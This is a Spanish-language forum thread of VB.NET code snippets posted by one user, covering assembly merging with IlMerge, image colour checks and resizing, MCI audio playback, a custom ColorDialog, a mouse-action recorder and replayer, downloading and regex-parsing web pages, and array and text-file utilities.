Una class para combinar ejecutable de .NET con dependencias (dll's) en tiempo de ejecución... Se necesita la aplicación IlMerge#Region " IlMerge " ' [ IlMerge Functions ] ' ' // By Elektro H@cker ' ' Instructions: ' 1. Add the "IlMerge.exe" to the project ' 2. Add the "IlMerge" Class to the project ' ' Examples: ' IlMerge.Merge({"C:\Application.exe", "C:\Dependency.dll"}, "C:\Merged.exe") ' MsgBox(IlMerge.Merge({"C:\Application.exe", "C:\Dependency.dll"}, "C:\Merged.exe")) #Region " IlMerge class " Public Class IlMerge ''' <summary> ''' Set the location of IlMerge executable [Default: ".\IlMerge.exe"]. ''' </summary> Public Shared IlMerge_Location As String = ".\IlMerge.exe" ''' <summary> ''' Set the location of IlMerge log file [Default: ".\IlMerge.log"]. ''' </summary> Public Shared IlMerge_Log_Location As String = IlMerge_Location.Substring(0, IlMerge_Location.Length - 4) & ".log" ''' <summary> ''' Merge ''' </summary> Public Shared Function Merge(ByVal InputFiles As String(), ByVal OutputFile As String) As Boolean Dim FilesString As String = Nothing For Each File In InputFiles : FilesString += """" & File & """" & " " : Next Try : IO. File. Delete(IlMerge_Log_Location ) : Catch : End Try ' Deletes old log if exist Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = IlMerge_Location ResHacker_Info.Arguments = "/ndebug /log:" & """" & IlMerge_Log_Location & """" & " /out:" & """" & OutputFile & """" & " " & FilesString ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Try : IO. File. Delete(OutputFile. Substring(0, OutputFile. Length - 4) & ".pdb") : Catch : End Try ' Deletes Debug Generated File Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ''' <summary> ''' Return the last operation error if any [False = ERROR, True = Ok]. ''' </summary> Private Shared Function Check_Last_Error() Try Dim Line As String = Nothing Dim Text As IO. StreamReader = IO. File. OpenText(IlMerge_Log_Location ) Do Until Text.EndOfStream Line = Text.ReadLine() If Line.ToString.StartsWith("An exception occurred") Then Process.Start(IlMerge_Log_Location) Return False End If Loop Text.Close() Text.Dispose() Return True Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function End Class #End Region #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Mayo 2013, 15:23 pm
Comprobar si una imagen contiene cierto color. Esta función me ha costado la vida conseguirla, ya la pueden guardar bien xD... Private Function Image_Has_Color(ByVal image As Image, ByVal color As Color) As Boolean Using Bitmap_Image = New Bitmap(image.Width, image.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb) Graphics.FromImage(Bitmap_Image).DrawImage(image, 0, 0) Dim Bitmap_Data = Bitmap_Image.LockBits(New Rectangle(0, 0, Bitmap_Image.Width, Bitmap_Image.Height), System.Drawing.Imaging.ImageLockMode.[ReadOnly], Bitmap_Image.PixelFormat) Dim Bitmap_Pointer As IntPtr = Bitmap_Data.Scan0 Dim Pixel_Color As Int32 Dim Result As Boolean = False For i = 0 To Bitmap_Data.Height * Bitmap_Data.Width - 1 Pixel_Color = System.Runtime.InteropServices.Marshal.ReadInt32(Bitmap_Pointer, i * 4) If (Pixel_Color And &HFF000000) <> 0 AndAlso (Pixel_Color And &HFFFFFF) = (color.ToArgb() And &HFFFFFF) Then Result = True Exit For End If Next Bitmap_Image.UnlockBits(Bitmap_Data) Return Result End Using End Function
Ejemplo: Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load MsgBox(Image_Has_Color(System.Drawing.Image.FromFile("C:\imagen.jpg"), Color.FromArgb(240, 240, 240))) End Sub
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Mayo 2013, 15:48 pm
Devuelve una lista con todos los valores de una enumeración #Region " Get Enum Values " ' [ Get Enum Values Function ] ' ' // By Elektro H@cker ' ' Examples : ' For Each value In Get_Enum_Values(Of KnownColor)() : MsgBox(value) : Next Private Function Get_Enum_Values(Of T)() As List(Of String) Dim ValueList As New List(Of String) For Each value In System.[Enum].GetValues(GetType(T)) : ValueList.Add(value.ToString) : Next Return ValueList End Function #End Region
Como hacer un Loop sobre todos los colores conocidos: For Each col In System.[Enum].GetValues(GetType(KnownColor)) Dim mycolor As Color = Color.FromKnownColor(col) MsgBox(mycolor.ToString) MsgBox(mycolor.R) MsgBox(mycolor.G) MsgBox(mycolor.B) Next
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Mayo 2013, 19:32 pm
Redimensionar una imágen: #Region " Resize Image " ' [ Save Resize Image Function ] ' ' Examples : ' ' PictureBox1.Image = Resize_Image(System.Drawing.Image.FromFile("C:\Image.png"), 256, 256) Private Function Resize_Image(ByVal img As Image, ByVal Width As Int32, ByVal Height As Int32) As Bitmap Dim Bitmap_Source As New Bitmap(img) Dim Bitmap_Dest As New Bitmap(CInt(Width), CInt(Height)) Dim Graphic As Graphics = Graphics.FromImage(Bitmap_Dest) Graphic.DrawImage(Bitmap_Source, 0, 0, Bitmap_Dest.Width + 1, Bitmap_Dest.Height + 1) Return Bitmap_Dest End Function #End Region
Redimensionar una imágen a escala: #Region " Scale Image " ' [ Save Scale Image Function ] ' ' Examples : ' ' PictureBox1.Image = Scale_Image(System.Drawing.Image.FromFile("C:\Image.png"), 3) ' Scales to x3 of original size Private Function Scale_Image(ByVal img As Image, ByVal ScaleFactor As Single) Dim Bitmap_Source As New Bitmap(img) Dim Bitmap_Dest As New Bitmap(CInt(Bitmap_Source.Width * ScaleFactor), CInt(Bitmap_Source.Height * ScaleFactor)) Dim Graphic As Graphics = Graphics.FromImage(Bitmap_Dest) Graphic.DrawImage(Bitmap_Source, 0, 0, Bitmap_Dest.Width + 1, Bitmap_Dest.Height + 1) Return Bitmap_Dest End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Mayo 2013, 12:28 pm
Reproducir, pausar, detener archivos MP3/WAV/MIDI ' PlayFile ' ' Examples: ' Dim Audio As New PlayFile("C:\File.mp3") ' Audio.Play() ' Audio.Pause() ' Audio.Resume() ' Audio.Stop() #Region " PlayFile Class" ''' <summary> ''' This class is a wrapper for the Windows API calls to play wave, midi or mp3 files. ''' </summary> ''' <remarks> ''' </remarks> Public Class PlayFile '*********************************************************************************************************** ' Class: PlayFile ' Written By: Blake Pell (bpell@indiana.edu) ' Initial Date: 03/31/2007 ' Last Updated: 02/04/2009 '*********************************************************************************************************** ' Windows API Declarations Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Int32, ByVal hwndCallback As Int32) As Int32 ''' <summary> ''' Constructor: Location is the filename of the media to play. Wave files and Mp3 files are the supported formats. ''' </summary> ''' <param name="Location"></param> ''' <remarks></remarks> Public Sub New(ByVal location As String) Me.Filename = location End Sub ''' <summary> ''' Plays the file that is specified as the filename. ''' </summary> ''' <remarks></remarks> Public Sub Play() If _filename = "" Or Filename.Length <= 4 Then Exit Sub Select Case Right(Filename, 3).ToLower Case "mp3" mciSendString("open """ & _filename & """ type mpegvideo alias audiofile", Nothing, 0, IntPtr.Zero) Dim playCommand As String = "play audiofile from 0" If _wait = True Then playCommand += " wait" mciSendString(playCommand, Nothing, 0, IntPtr.Zero) Case "wav" mciSendString("open """ & _filename & """ type waveaudio alias audiofile", Nothing, 0, IntPtr.Zero) mciSendString("play audiofile from 0", Nothing, 0, IntPtr.Zero) Case "mid", "idi" mciSendString("stop midi", "", 0, 0) mciSendString("close midi", "", 0, 0) mciSendString("open sequencer!" & _filename & " alias midi", "", 0, 0) mciSendString("play midi", "", 0, 0) Case Else Throw New Exception("File type not supported.") Call Close() End Select IsPaused = False End Sub ''' <summary> ''' Pause the current play back. ''' </summary> ''' <remarks></remarks> Public Sub Pause() mciSendString("pause audiofile", Nothing, 0, IntPtr.Zero) IsPaused = True End Sub ''' <summary> ''' Resume the current play back if it is currently paused. ''' </summary> ''' <remarks></remarks> Public Sub [Resume]() mciSendString("resume audiofile", Nothing, 0, IntPtr.Zero) IsPaused = False End Sub ''' <summary> ''' Stop the current file if it's playing. ''' </summary> ''' <remarks></remarks> Public Sub [Stop]() mciSendString("stop audiofile", Nothing, 0, IntPtr.Zero) End Sub ''' <summary> ''' Close the file. ''' </summary> ''' <remarks></remarks> Public Sub Close() mciSendString("close audiofile", Nothing, 0, IntPtr.Zero) End Sub Private _wait As Boolean = False ''' <summary> ''' Halt the program until the .wav file is done playing. Be careful, this will lock the entire program up until the ''' file is done playing. It behaves as if the Windows Sleep API is called while the file is playing (and maybe it is, I don't ''' actually know, I'm just theorizing). :P ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> Public Property Wait() As Boolean Get Return _wait End Get Set(ByVal value As Boolean) _wait = value End Set End Property ''' <summary> ''' Sets the audio file's time format via the mciSendString API. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> ReadOnly Property Milleseconds() As Integer Get Dim buf As String = Space(255) mciSendString("set audiofile time format milliseconds", Nothing, 0, IntPtr.Zero) mciSendString("status audiofile length", buf, 255, IntPtr.Zero) buf = Replace(buf, Chr(0), "") ' Get rid of the nulls, they muck things up If buf = "" Then Return 0 Else Return CInt(buf) End If End Get End Property ''' <summary> ''' Gets the status of the current playback file via the mciSendString API. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> ReadOnly Property Status() As String Get Dim buf As String = Space(255) mciSendString("status audiofile mode", buf, 255, IntPtr.Zero) buf = Replace(buf, Chr(0), "") ' Get rid of the nulls, they muck things up Return buf End Get End Property ''' <summary> ''' Gets the file size of the current audio file. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> ReadOnly Property FileSize() As Integer Get Try Return My.Computer.FileSystem.GetFileInfo(_filename).Length Catch ex As Exception Return 0 End Try End Get End Property ''' <summary> ''' Gets the channels of the file via the mciSendString API. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> ReadOnly Property Channels() As Integer Get Dim buf As String = Space(255) mciSendString("status audiofile channels", buf, 255, IntPtr.Zero) If IsNumeric(buf) = True Then Return CInt(buf) Else Return -1 End If End Get End Property ''' <summary> ''' Used for debugging purposes. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> ReadOnly Property Debug() As String Get Dim buf As String = Space(255) mciSendString("status audiofile channels", buf, 255, IntPtr.Zero) Return Str(buf) End Get End Property Private _isPaused As Boolean = False ''' <summary> ''' Whether or not the current playback is paused. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> Public Property IsPaused() As Boolean Get Return _isPaused End Get Set(ByVal value As Boolean) _isPaused = value End Set End Property Private _filename As String ''' <summary> ''' The current filename of the file that is to be played back. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> Public Property Filename() As String Get Return _filename End Get Set(ByVal value As String) If My.Computer.FileSystem.FileExists(value) = False Then Throw New System.IO.FileNotFoundException Exit Property End If _filename = value End Set End Property End Class #End Region
Ejemplos de uso del Windows Media Player control: #Region " Windows Media Player " AxWindowsMediaPlayer1.Visible = False AxWindowsMediaPlayer1.URL = "C:\Audio.mp3" AxWindowsMediaPlayer1.URL = "C:\Video.avi" AxWindowsMediaPlayer1.settings.volume = 50 AxWindowsMediaPlayer1.settings.setMode("autoRewind", False) ' Mode indicating whether the tracks are rewound to the beginning after playing to the end. Default state is true. AxWindowsMediaPlayer1.settings.setMode("loop", False) ' Mode indicating whether the sequence of tracks repeats itself. Default state is false. AxWindowsMediaPlayer1.settings.setMode("showFrame", False) ' Mode indicating whether the nearest video key frame is displayed at the current position when not playing. Default state is false. Has no effect on audio tracks. AxWindowsMediaPlayer1.settings.setMode("shuffle", False) ' Mode indicating whether the tracks are played in random order. Default state is false. AxWindowsMediaPlayer1.Ctlcontrols.play() AxWindowsMediaPlayer1.Ctlcontrols.stop() #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Mayo 2013, 12:48 pm
Un ColorDialog "por defecto" que tiene las propiedades "Title" y "Location", Además se puede handlear el color que hay seleccionado en cualquier momento en el modo "Full open", para obtener el color sin tener que confirmar el diálogo. PD: Hay que instanciarlo siempre para handlear el .Currentcolor Ejemplos de uso: Public Class Form1 Private WithEvents PicBox As New PictureBox Private WithEvents ColorDlg As ColorDialog_RealTime.Colordialog_Realtime = Nothing Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load PicBox.BackColor = Color.Blue Me.Controls.Add(PicBox) End Sub Private Sub PicBox_Click(sender As Object, e As EventArgs) Handles PicBox.Click ColorDlg = New ColorDialog_RealTime.Colordialog_Realtime ColorDlg.Title = "Hello!" ColorDlg.Location = New Point(Me.Right, Me.Top) ColorDlg.Color = sender.backcolor If ColorDlg.ShowDialog() = Windows.Forms.DialogResult.OK Then sender.BackColor = ColorDlg.Color End If ColorDlg = Nothing End Sub Private Sub ColorDlg_CurrentColor(c As System.Drawing.Color) Handles ColorDlg.CurrentColor PicBox.BackColor = c End Sub End Class
Public Class Colordialog_Realtime Inherits ColorDialog Public Event CurrentColor(ByVal c As Color) Private Const GA_ROOT As Integer = 2 Private Const WM_PAINT As Integer = &HF Private Const WM_CTLCOLOREDIT As Integer = &H133 Public Declare Function GetAncestor Lib "user32.dll" _ (ByVal hWnd As IntPtr, ByVal gaFlags As Integer) As IntPtr Private EditWindows As List(Of ApiWindow) = Nothing Public Sub New() Me.FullOpen = True End Sub <Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function SetWindowText(hWnd As IntPtr, lpString As String) As Boolean End Function Private Const SWP_NOSIZE As Integer = &H1 Private Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" _ (ByVal hwnd As IntPtr, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer Private m_title As String = String.Empty Private titleSet As Boolean = False Public Property Title() As String Get Return m_title End Get Set(value As String) If value IsNot Nothing AndAlso value <> m_title Then m_title = value titleSet = False End If End Set End Property Private m_location As Point = Point.Empty Private locationSet As Boolean = False Public Property Location() As Point Get Return m_location End Get Set(value As Point) If Not value.Equals(Point.Empty) AndAlso Not value.Equals(m_location) Then m_location = value locationSet = False End If End Set End Property <System.Security.Permissions.PermissionSetAttribute(System.Security.Permissions.SecurityAction.Demand, Name:="FullTrust")> _ Protected Overrides Function HookProc(ByVal hWnd As IntPtr, ByVal msg As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr Select Case msg Case WM_PAINT If Not titleSet AndAlso Title <> String.Empty Then SetWindowText(GetAncestor(hWnd, GA_ROOT), Title) titleSet = True End If If Not locationSet AndAlso Not m_location.Equals(Point.Empty) Then SetWindowPos(GetAncestor(hWnd, GA_ROOT), 0, m_location.X, m_location.Y, 0, 0, SWP_NOSIZE) locationSet = True End If Case WM_CTLCOLOREDIT If IsNothing(EditWindows) Then Dim mainWindow As IntPtr = GetAncestor(hWnd, GA_ROOT) If Not mainWindow.Equals(IntPtr.Zero) Then EditWindows = New List(Of ApiWindow)((New WindowsEnumerator).GetChildWindows(mainWindow, "Edit")) End If End If If Not IsNothing(EditWindows) AndAlso EditWindows.Count = 6 Then Dim strRed As String = WindowsEnumerator.WindowText(EditWindows(3).hWnd) Dim strGreen As String = WindowsEnumerator.WindowText(EditWindows(4).hWnd) Dim strBlue As String = WindowsEnumerator.WindowText(EditWindows(5).hWnd) Dim Red, Green, Blue As Integer If Integer.TryParse(strRed, Red) Then If Integer.TryParse(strGreen, Green) Then If Integer.TryParse(strBlue, Blue) Then RaiseEvent CurrentColor(Color.FromArgb(Red, Green, Blue)) End If End If End If End If End Select Return MyBase.HookProc(hWnd, msg, wParam, lParam) End Function End Class Class ApiWindow Public hWnd As IntPtr Public ClassName As String Public MainWindowTitle As String End Class Class WindowsEnumerator Private Delegate Function EnumCallBackDelegate(ByVal hwnd As IntPtr, ByVal lParam As Integer) As Integer Private Declare Function EnumWindows Lib "user32" _ (ByVal lpEnumFunc As EnumCallBackDelegate, ByVal lParam As Integer) As Integer Private Declare Function EnumChildWindows Lib "user32" _ (ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumCallBackDelegate, ByVal lParam As Integer) As Integer Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" _ (ByVal hwnd As IntPtr, ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer) As Integer Private Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As IntPtr) As Integer Private Declare Function GetParent Lib "user32" (ByVal hwnd As IntPtr) As Integer Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As System.Text.StringBuilder) As Integer Private _listChildren As New List(Of ApiWindow) Private _listTopLevel As New List(Of ApiWindow) Private _topLevelClass As String = String.Empty Private _childClass As String = String.Empty Public Overloads Function GetTopLevelWindows() As ApiWindow() EnumWindows(AddressOf EnumWindowProc, &H0) Return _listTopLevel.ToArray End Function Public Overloads Function GetTopLevelWindows(ByVal className As String) As ApiWindow() _topLevelClass = className Return Me.GetTopLevelWindows() End Function Public Overloads Function GetChildWindows(ByVal hwnd As Int32) As ApiWindow() _listChildren.Clear() EnumChildWindows(hwnd, AddressOf EnumChildWindowProc, &H0) Return _listChildren.ToArray End Function Public Overloads Function GetChildWindows(ByVal hwnd As Int32, ByVal childClass As String) As ApiWindow() _childClass = childClass Return Me.GetChildWindows(hwnd) End Function Private Function EnumWindowProc(ByVal hwnd As Int32, ByVal lParam As Int32) As Int32 If GetParent(hwnd) = 0 AndAlso IsWindowVisible(hwnd) Then Dim window As ApiWindow = GetWindowIdentification(hwnd) If _topLevelClass.Length = 0 OrElse window.ClassName.ToLower() = _topLevelClass.ToLower() Then _listTopLevel.Add(window) End If End If Return 1 End Function Private Function EnumChildWindowProc(ByVal hwnd As Int32, ByVal lParam As Int32) As Int32 Dim window As ApiWindow = GetWindowIdentification(hwnd) If _childClass.Length = 0 OrElse window.ClassName.ToLower() = _childClass.ToLower() Then _listChildren.Add(window) End If Return 1 End Function Private Function GetWindowIdentification(ByVal hwnd As Integer) As ApiWindow Dim classBuilder As New System.Text.StringBuilder(64) GetClassName(hwnd, classBuilder, 64) Dim window As New ApiWindow window.ClassName = classBuilder.ToString() window.MainWindowTitle = WindowText(hwnd) window.hWnd = hwnd Return window End Function Public Shared Function WindowText(ByVal hwnd As IntPtr) As String Const W_GETTEXT As Integer = &HD Const W_GETTEXTLENGTH As Integer = &HE Dim SB As New System.Text.StringBuilder Dim length As Integer = SendMessage(hwnd, W_GETTEXTLENGTH, 0, 0) If length > 0 Then SB = New System.Text.StringBuilder(length + 1) SendMessage(hwnd, W_GETTEXT, SB.Capacity, SB) End If Return SB.ToString End Function End Class
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 28 Mayo 2013, 17:24 pm
Una class para grabar tareas del mouse (mover el mouse aquí, clickar botón izquierdo hallá, etc) De momento solo he conseguido implementar los botones del mouse izquierdo/derecho.Saludos.
#Region " Record Mouse Class " ' [ Record Mouse Functions ] ' ' // By Elektro H@cker ' ' Examples : ' Record_Mouse.Start_Record() ' Record_Mouse.Stop_Record() ' Record_Mouse.Play() : While Not Record_Mouse.Play_Is_Completed : Application.DoEvents() : End While ' Record_Mouse.Mouse_Speed = 50 Public Class Record_Mouse ''' <summary> ''' Sets the speed of recording/playing the mouse actions. ''' Default value is 25. ''' </summary> Public Shared Mouse_Speed As Int64 = 30 ''' <summary> ''' Gets the status pf the current mouse play. ''' False = Mouse task is still playing. ''' True = Mouse task play is done. ''' </summary> Public Shared Play_Is_Completed As Boolean ' Where the mouse coordenates will be stored: Private Shared Coordenates_List As New List(Of Point) ' Where the mouse clicks will be stored: Private Shared Clicks_Dictionary As New Dictionary(Of Int64, MouseButton ) ' Timer to record the mouse: Private Shared WithEvents Record_Timer As New Timer ' Button click count to rec/play clicks: Private Shared Click_Count As Int32 = 0 ' Thread to reproduce the mouse actions: Private Shared Thread_MousePlay_Var As System.Threading.Thread = New Threading.Thread(AddressOf Thread_MousePlay) ' API to record the current mouse button state: Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer ' API to reproduce a mouse button click: Private Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseButton, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer) ' GetAsyncKeyState buttons status Private Shared Last_ClickState_Left As Int64 = -1 Private Shared Last_ClickState_Right As Int64 = -1 Private Shared Last_ClickState_Middle As Int64 = -1 Enum MouseButton Left_Down = &H2 ' Left button (hold) Left_Up = &H4 ' Left button (release) Right_Down = &H8 ' Right button (hold) Right_Up = &H10 ' Right button (release) Middle_Down = &H20 ' Middle button (hold) Middle_Up = &H40 ' Middle button (release) Left ' Left button (press) Right ' Right button (press) Middle ' Middle button (press) End Enum ''' <summary> ''' Starts recording the mouse actions over the screen. ''' It records the position of the mouse and left/right button clicks. ''' </summary> Public Shared Sub Start_Record() ' Reset vars: Play_Is_Completed = False Coordenates_List.Clear() : Clicks_Dictionary.Clear() Last_ClickState_Left = -1 : Last_ClickState_Right = -1 : Last_ClickState_Middle = -1 Click_Count = 0 ' Set Mouse Speed Record_Timer.Interval = Mouse_Speed ' Start Recording: Record_Timer.Start() End Sub ''' <summary> ''' Stop recording the mouse actions. ''' </summary> Public Shared Sub Stop_Record() Record_Timer.Stop() End Sub ''' <summary> ''' Reproduce the mouse actions. ''' </summary> Public Shared Sub Play() Thread_MousePlay_Var = New Threading.Thread(AddressOf Thread_MousePlay) Thread_MousePlay_Var.IsBackground = True Thread_MousePlay_Var.Start() End Sub ' Procedure used to store the mouse actions Private Shared Sub Record_Timer_Tick(sender As Object, e As EventArgs) Handles Record_Timer.Tick Coordenates_List.Add(Control.MousePosition) ' Record Left click If Not Last_ClickState_Left = GetAsyncKeyState(1) Then Last_ClickState_Left = GetAsyncKeyState(1) If GetAsyncKeyState(1) = 32768 Then Click_Count += 1 Coordenates_List.Add(Nothing) Clicks_Dictionary.Add(Click_Count, MouseButton.Left_Down) ElseIf GetAsyncKeyState(1) = 0 Then Click_Count += 1 Coordenates_List.Add(Nothing) Clicks_Dictionary.Add(Click_Count, MouseButton.Left_Up) End If End If ' Record Right click If Not Last_ClickState_Right = GetAsyncKeyState(2) Then Last_ClickState_Right = GetAsyncKeyState(2) If GetAsyncKeyState(2) = 32768 Then Click_Count += 1 Coordenates_List.Add(Nothing) Clicks_Dictionary.Add(Click_Count, MouseButton.Right_Down) ElseIf GetAsyncKeyState(2) = 0 Then Click_Count += 1 Coordenates_List.Add(Nothing) Clicks_Dictionary.Add(Click_Count, MouseButton.Right_Up) End If End If ' Record Middle click If Not Last_ClickState_Middle = GetAsyncKeyState(4) Then Last_ClickState_Middle = GetAsyncKeyState(4) If GetAsyncKeyState(4) = 32768 Then Click_Count += 1 Coordenates_List.Add(Nothing) Clicks_Dictionary.Add(Click_Count, MouseButton.Middle_Down) ElseIf GetAsyncKeyState(4) = 0 Then Click_Count += 1 Coordenates_List.Add(Nothing) Clicks_Dictionary.Add(Click_Count, MouseButton.Middle_Up) End If End If End Sub ' Procedure to play a mouse button (click) Private Shared Sub Mouse_Click(ByVal MouseButton As MouseButton) Select Case MouseButton Case MouseButton.Left : Mouse_Event(MouseButton.Left_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Left_Up, 0, 0, 0, 0) Case MouseButton.Right : Mouse_Event(MouseButton.Right_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Right_Up, 0, 0, 0, 0) Case MouseButton.Middle : Mouse_Event(MouseButton.Middle_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Middle_Up, 0, 0, 0, 0) Case Else : Mouse_Event(MouseButton, 0, 0, 0, 0) End Select End Sub ' Thread used for reproduce the mouse actions Private Shared Sub Thread_MousePlay() Click_Count = 0 Clicks_Dictionary.Item(0) = Nothing For Each Coordenate In Coordenates_List Threading.Thread.Sleep(Mouse_Speed) If Coordenate = Nothing Then Click_Count += 1 If Click_Count > 1 Then Mouse_Click(Clicks_Dictionary.Item(Click_Count)) End If Else Cursor.Position = Coordenate End If Next Mouse_Click(MouseButton.Left_Up) Mouse_Click(MouseButton.Right_Up) Mouse_Click(MouseButton.Middle_Up) Play_Is_Completed = True End Sub End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 28 Mayo 2013, 18:39 pm
Sección de ayuda para aplicaciones CommandLine. (http://img13.imageshack.us/img13/6986/captura1o.png) #Region " Help Section " Private Sub Help() Dim Logo As String = <a><![CDATA[ .____ | | ____ ____ ____ | | / _ \ / ___\ / _ \ | |__( <_> ) /_/ > <_> ) |_______ \____/\___ / \____/ \/ /_____/ By Elektro H@cker ]]></a>.Value Dim Help As String = <a><![CDATA[ [+] Syntax: Program. exe [FILE] [SWITCHES ] [+] Switches: /Switch1 | Description. (Default Value: X) /Switch2 | Description. /? (or) -? | Show this help. [+] Switch value Syntax: /Switch1 (ms) /Switch2 (X,Y) [+] Usage examples: Program.exe "C:\File.txt" /Switch1 (Short explanation) ]]></a>.Value Console.WriteLine(Logo & Help) Application.Exit() End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2013, 02:55 am
Descarga el código fuente de una URL al disco duro #Region " Download URL SourceCode " ' [ Download URL SourceCode ] ' ' Examples : ' Download_URL_SourceCode("http://www.elhacker.net", "C:\Source.html") Private Sub Download_URL_SourceCode(ByVal url As String, ByVal OutputFile As String) Try Using TextFile As New IO.StreamWriter(OutputFile, False, System.Text.Encoding.Default) TextFile.WriteLine(New System.IO.StreamReader(System.Net.HttpWebRequest.Create(url).GetResponse().GetResponseStream()).ReadToEnd()) End Using Catch ex As Exception MsgBox(ex.Message) End Try End Sub #End Region
Devuelve el código fuente de una URL #Region " Get URL SourceCode " ' [ Get URL SourceCode Function ] ' ' Examples : ' MsgBox(Get_URL_SourceCode("http://www.google.com")) ' Clipboard.SetText(Get_URL_SourceCode("http://www.google.com")) Private Function Get_URL_SourceCode(ByVal url As String, Optional ByVal OutputFile As String = Nothing) As String Try Return New System.IO.StreamReader(System.Net.HttpWebRequest.Create(url).GetResponse().GetResponseStream()).ReadToEnd() Catch ex As Exception MsgBox(ex.Message) Return Nothing End Try End Function #End Region
Parsear un HTML usando RegEx Private Sub Parse_HTML(ByVal TextFile As String) ' RegEx Dim RegEx_Url As New System.Text.RegularExpressions.Regex("http://www.mp3crank.com.*\.html?") Dim RegEx_Year As New System.Text.RegularExpressions.Regex("[1-2][0-9][0-9][0-9]") Dim Line As String = Nothing Dim Text As New IO.StringReader(My.Computer.FileSystem.ReadAllText(TextFile)) Do Line = Text.ReadLine() If Line Is Nothing Then Exit Do ' End of file Else ' Strip Year ' ' Example: ' <span class="year">2009</span> ' If Line.Contains(<a><![CDATA[<span class="year">]]></a>.Value) Then MsgBox(RegEx_Year.Match(Line).Groups(0).ToString) End If ' Strip URL ' ' Example: ' <div class="album"><h2><a href="http://www.mp3crank.com/echo-movement/in-the-ocean.htm"</a></h2></div> ' If Line.Contains(<a><![CDATA[<div class="album">]]></a>.Value) Then MsgBox(RegEx_Url.Match(Line).Groups(0).ToString) End If End If Loop Text.Close() : Text.Dispose() End Sub
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2013, 03:07 am
Elimina un Item de un Array #Region " Remove Item From Array " ' [ Remove Item From Array ] ' ' Examples : ' Dim MyArray() As String = {"Elektro", "H@cker", "Christian"} ' Remove_Item_From_Array(MyArray, 0) ' Remove first element => {"H@cker", "Christian"} ' Remove_Item_From_Array(MyArray, UBound(MyArray)) ' Remove last element => {"Elektro", "H@cker"} Public Sub Remove_Item_From_Array(Of T)(ByRef Array_Name() As T, ByVal Index As Integer) Array.Copy(Array_Name, Index + 1, Array_Name, Index, UBound(Array_Name) - Index) ReDim Preserve Array_Name(UBound(Array_Name) - 1) End Sub #End Region
Concatena un array, con opción de enumerarlo... #Region " Join Array " ' [ Join Array Function ] ' ' // By Elektro H@cker ' ' Examples : ' Dim MyArray() As String = {"Hola", "que", "ase?"} ' MsgBox(Join_Array(MyArray, vbNewLine)) ' MsgBox(Join_Array(MyArray, vbNewLine, True)) Private Function Join_Array(ByRef Array_Name As Array, ByVal Separator As String, _ Optional ByVal Enumerate As Boolean = False) As String Try If Enumerate Then Dim Index As Int64 = 0 Dim Joined_str As String = String.Empty For Each Item In Array_Name Joined_str += Index & ". " & Item & Separator Index += 1 Next Return Joined_str Else Return String.Join(Separator, Array_Name) End If Catch ex As Exception MsgBox(ex.Message) Return Nothing End Try End Function #End Region
Revierte el contenido de un texto #Region " Reverse TextFile " ' [ Reverse TextFile ] ' ' // By Elektro H@cker ' ' Examples : ' Reverse_TextFile("C:\File.txt") Private Sub Reverse_TextFile (ByVal File As String) Try Dim strArray () As String = IO. File. ReadAllLines(File) Array.Reverse(strArray) Using WriteFile As New IO. StreamWriter(File, False, System. Text. Encoding. Default) WriteFile.WriteLine(String.Join(vbNewLine, strArray)) End Using Catch ex As Exception MsgBox(ex.Message) End Try End Sub #End Region
